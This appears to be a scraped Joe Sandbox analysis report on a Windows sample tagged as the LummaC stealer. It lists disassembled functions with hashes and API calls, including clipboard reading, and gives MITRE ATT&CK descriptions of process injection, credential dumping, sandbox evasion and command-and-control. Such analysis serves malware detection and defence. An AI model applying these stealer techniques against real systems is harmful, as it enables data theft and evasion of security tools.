Instruction Fuzzy Hash: 77D0A771A487A10E97588D7808A0477FBE8E947712F1814AFE4D5F7249D638DC05869C

Uniqueness

Uniqueness Score: -1.00%

Function 02FDD3A7 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 79336c4fab7a029e6bcfe5a91129c4c39f48a05c3566cf4c006d6a414bbeaf07
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 18D0A7629497A10F97588D3844A087BFBF5E947596B1C249EE5D5E3109D320D8018698

Uniqueness

Uniqueness Score: -1.00%

Function 02FE7494 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00cfa2a1bd9d8d6983a05bc107cc555247b033b7bebdd7e79f52daa53810972e
Instruction ID: fc63ff7144db230d088183717acfc14d3aba176eca07f96b411a1d117e3a196b
Opcode Fuzzy Hash: 00cfa2a1bd9d8d6983a05bc107cc555247b033b7bebdd7e79f52daa53810972e
Instruction Fuzzy Hash: 62D0127795180A4A9621CF24D981471A7229BC3354734A3444A21633F6DD30D837598C

Uniqueness

Uniqueness Score: -1.00%

Function 00414596 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b20b59e2086f6dd8b86981b4fe800b4338b1fb813824af916d05cb2e43669e3
Instruction ID: e75f760344972e11c8b48404786a159fb0baaeb0a6ce8aec3f61412875dfe28a
Opcode Fuzzy Hash: 7b20b59e2086f6dd8b86981b4fe800b4338b1fb813824af916d05cb2e43669e3
Instruction Fuzzy Hash: 88C09B1085C9C04BD75DCF245C7E5B5FF354D43144E18B0AEC1931B897E150944D434E

Uniqueness

Uniqueness Score: -1.00%

Function 00437C47 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfeac24bf3772787ead91bc6b722706e668c27b510a24701b3d939e5068ca24c
Instruction ID: 7bd2b15116bf5bad7ca5f628bad3fa516ab478f3cf40b7ce66427aac778f7d1a
Opcode Fuzzy Hash: cfeac24bf3772787ead91bc6b722706e668c27b510a24701b3d939e5068ca24c
Instruction Fuzzy Hash: 46C0923CF5D0509FD604DF1AFA51435B2BAABCB305B15F0349006A32ADCE39D8078A0D

Uniqueness

Uniqueness Score: -1.00%

Function 00437C45 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd16f70c831f496ab4008e62d33e7b2106f6f3e52052a81b0b1c3f025a68765
Instruction ID: 5c4c2a12a684bc4ff0d5a99ec30874bcdf27f0d0682448e5fdc4a84297f01b14
Opcode Fuzzy Hash: 4fd16f70c831f496ab4008e62d33e7b2106f6f3e52052a81b0b1c3f025a68765
Instruction Fuzzy Hash: 87C0926CE9D0609FD200DF17FA40431B2BAABDB305B25F0218041632ADCA3AD8078B0E

Uniqueness

Uniqueness Score: -1.00%

Function 02FE47FD Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b20b59e2086f6dd8b86981b4fe800b4338b1fb813824af916d05cb2e43669e3
Instruction ID: e75f760344972e11c8b48404786a159fb0baaeb0a6ce8aec3f61412875dfe28a
Opcode Fuzzy Hash: 7b20b59e2086f6dd8b86981b4fe800b4338b1fb813824af916d05cb2e43669e3
Instruction Fuzzy Hash: 88C09B1085C9C04BD75DCF245C7E5B5FF354D43144E18B0AEC1931B897E150944D434E

Uniqueness

Uniqueness Score: -1.00%

Function 03007EAC Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd16f70c831f496ab4008e62d33e7b2106f6f3e52052a81b0b1c3f025a68765
Instruction ID: 1d621b2987c3a51ae84a6cc3693473f1aa9353c8c47ae3e36b90b33187607667
Opcode Fuzzy Hash: 4fd16f70c831f496ab4008e62d33e7b2106f6f3e52052a81b0b1c3f025a68765
Instruction Fuzzy Hash: D4C0923CE5A0909FE200DF16EA40537B2BAABCB205B15F4208101633ADCE39E8078B8D

Uniqueness

Uniqueness Score: -1.00%

Function 03007EAE Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfeac24bf3772787ead91bc6b722706e668c27b510a24701b3d939e5068ca24c
Instruction ID: 7bd2b15116bf5bad7ca5f628bad3fa516ab478f3cf40b7ce66427aac778f7d1a
Opcode Fuzzy Hash: cfeac24bf3772787ead91bc6b722706e668c27b510a24701b3d939e5068ca24c
Instruction Fuzzy Hash: 46C0923CF5D0509FD604DF1AFA51435B2BAABCB305B15F0349006A32ADCE39D8078A0D

Uniqueness

Uniqueness Score: -1.00%

Function 02FFC767 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 153clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32(?,?), ref: 02FFC7A8
OpenClipboard.USER32 ref: 02FFC7BA
GetClipboardData.USER32 ref: 02FFC7DD
CloseClipboard.USER32 ref: 02FFC914

Strings

;, xrefs: 02FFC865
:, xrefs: 02FFC86D
9, xrefs: 02FFC85D
8, xrefs: 02FFC879
7, xrefs: 02FFC871

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: 7$8$9$:$;
API String ID: 2278096442-1017836374
Opcode ID: 76df721bf2a579621502fc47aaa496d3d10c4b1d72995d62b2f3639b8e2e78c9
Instruction ID: 3fa5869c9dcfa9f59aa7f54a1a61c7daa1b3c5fe8c8fe1158ddb3950eca9c0bb
Opcode Fuzzy Hash: 76df721bf2a579621502fc47aaa496d3d10c4b1d72995d62b2f3639b8e2e78c9
Instruction Fuzzy Hash: C851C272A08794CFD760DF38C085716BFE0AF05394F048A5EDADA8B662D374E905CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02FED8F7 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 192COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 02FED9E4
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 02FEDA0F

Strings

X&, xrefs: 02FED926
AV, xrefs: 02FED916
SE, xrefs: 02FED90E
-^, xrefs: 02FED91E

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: -^$AV$SE$X&
API String ID: 237503144-3017178743
Opcode ID: 88672712ba695551f4c2e9363b205b4fc2188bcfb2a8aaf974e2784d1cbba389
Instruction ID: 25a5f7c1ef5c7101348a837781ee55634e1b3b87fa20ba512f7b36b82b851808
Opcode Fuzzy Hash: 88672712ba695551f4c2e9363b205b4fc2188bcfb2a8aaf974e2784d1cbba389
Instruction Fuzzy Hash: ED71AD742083818FE724CF14D890BABB7E5EFC6354F014A2CE9EA5B680E7749545CB97

Uniqueness

Uniqueness Score: -1.00%

Function 02FE4BB7 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 177COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 02FE4C04
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 02FE4C35

Strings

qrs, xrefs: 02FE4C6B
<Y.[, xrefs: 02FE4CC5
2M#O, xrefs: 02FE4C53
r]Nm, xrefs: 02FE4DD0

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: 2M#O$<Y.[$r]Nm$qrs
API String ID: 237503144-2765572984
Opcode ID: b4209384774e64906f4bd2642607d0db43ac134c72471375abf5c82cf001131c
Instruction ID: a788130a0394cc3b1c1c4535976596f33b180162229c9abdaf714faab9c225ac
Opcode Fuzzy Hash: b4209384774e64906f4bd2642607d0db43ac134c72471375abf5c82cf001131c
Instruction Fuzzy Hash: F551C3756083419BD731CF14C891BABB7F5EFC6364F05491CF9968B281E3B49805CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02FEE1B7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 02FEE2F4
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 02FEE323

Strings

M3, xrefs: 02FEE3D8, 02FEE3DC
ru, xrefs: 02FEE242

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: ru$M3
API String ID: 237503144-652937946
Opcode ID: 103d3fe5a7db0c83f1ebe805be3a67d3ced831ce374e262ff3f3ddc4eeca0531
Instruction ID: c6d31deb4adfa77c8a4ba37c59c99212805156f7f71a7301de5d9185c3edd0f9
Opcode Fuzzy Hash: 103d3fe5a7db0c83f1ebe805be3a67d3ced831ce374e262ff3f3ddc4eeca0531
Instruction Fuzzy Hash: C25152B1508381AFE714CF00D890B5BBBE5EBC6394F10892DF9A65B390C775DA46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0041351C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 004135E1
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,?,?,?), ref: 00413612

Strings

E&eb, xrefs: 00413787

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: E&eb
API String ID: 237503144-175690455
Opcode ID: 121384bb134e3370c515887561e4bff28e3ea622f5c04769a53e04112e5161fb
Instruction ID: 3627e64b03e8dace2a403a76fce9a7d6649682aa9ea1d52bf6d0af3834cb9b1a
Opcode Fuzzy Hash: 121384bb134e3370c515887561e4bff28e3ea622f5c04769a53e04112e5161fb
Instruction Fuzzy Hash: F761A171600B009FD338CF24C882BA7B3E6EB45315F148A2DE4AAC77D0E778B9858B55

Uniqueness

Uniqueness Score: -1.00%

Function 02FE3783 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 02FE3848
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,?,?,?), ref: 02FE3879

Strings

E&eb, xrefs: 02FE39EE

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: E&eb
API String ID: 237503144-175690455
Opcode ID: 35764304b26e08c2116ddeae35a6a5734124e71df00623c25cae61cad56f9e43
Instruction ID: 6873bf6bdcfc59ca2e5a582103bc5efd35cb123a15f48d1d8dadf1c6badd77a0
Opcode Fuzzy Hash: 35764304b26e08c2116ddeae35a6a5734124e71df00623c25cae61cad56f9e43
Instruction Fuzzy Hash: 12619072A00B009FD728CF24C895B77B3E6AF84354F189A2DD5ABC7680E774B944CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00431CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000D,m%s,00000008,?), ref: 00431DB3

Strings

m%s, xrefs: 00431D58
!EJK, xrefs: 00431D0C

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: m%s$!EJK
API String ID: 237503144-2691780584
Opcode ID: f2095f0ebc42d9bb64772b760357b4197207047565d8c954b7750190abf9d7ce
Instruction ID: 1bf3f748f95ab631ae595585e1a386fe61c7083a19ceef915992d3bd27d4ea4a
Opcode Fuzzy Hash: f2095f0ebc42d9bb64772b760357b4197207047565d8c954b7750190abf9d7ce
Instruction Fuzzy Hash: 4D219AB14083908FD304CF15D891B5BBBF4FB8A348F110A2DF9A1AB280D775D905CB96

Uniqueness

Uniqueness Score: -1.00%

Function 03001F37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000D,m%s,00000008,?), ref: 0300201A

Strings

!EJK, xrefs: 03001F73
m%s, xrefs: 03001FBF

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: m%s$!EJK
API String ID: 237503144-2691780584
Opcode ID: f2095f0ebc42d9bb64772b760357b4197207047565d8c954b7750190abf9d7ce
Instruction ID: 004bd6ee09eaded4c9833aa4071a6a4ce9ed886f9335a9e64051533449cf33d1
Opcode Fuzzy Hash: f2095f0ebc42d9bb64772b760357b4197207047565d8c954b7750190abf9d7ce
Instruction Fuzzy Hash: A221A9B14083808FD304CF14D891B2BBBF4FB86348F100A2CF9A1AB280D771D9058B86

Uniqueness

Uniqueness Score: -1.00%

Function 02FD8EE7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 02FD8F65

Strings

in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified, xrefs: 02FD8F24

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified
API String ID: 621844428-4175449110
Opcode ID: fabb64060f129b09b2fb295de89773e3c4aadf7bbb2d4122ec10e8a8cd5565c7
Instruction ID: 8a23fbb2ee65c6e84e1f76326238a3f489fd572d47cc6dffefe2d59ea6b7999e
Opcode Fuzzy Hash: fabb64060f129b09b2fb295de89773e3c4aadf7bbb2d4122ec10e8a8cd5565c7
Instruction Fuzzy Hash: F9F068F2D1820096DB017B74AE0536D3F679F413E0F0C0A66DBCA56144D7759106CAA7

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report asbpKOngY0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_asbpKOngY0.exe_2caf974d11786772f56eeade9062141c51f1e48_347c9851_fbf69d2b-2a12-4891-bf94-e897ad82cb62\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7C35.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7DEB.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7E2B.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Windows Analysis Report
asbpKOngY0.exe

Function 00423943 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 643
COMMON

Function 00424084 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 676
COMMON

Function 00424087 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 650
COMMON

Function 00404740 Relevance: 5.5, Strings: 4, Instructions: 501
COMMON

Function 02FD003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 0041D690 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 192
COMMON

Function 00414950 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 177
COMMON

Function 00424AF5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 433
COMMON

Function 00424F8F Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 366
COMMON

Function 0041DF50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140
COMMON

Function 00431DD5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27
COMMON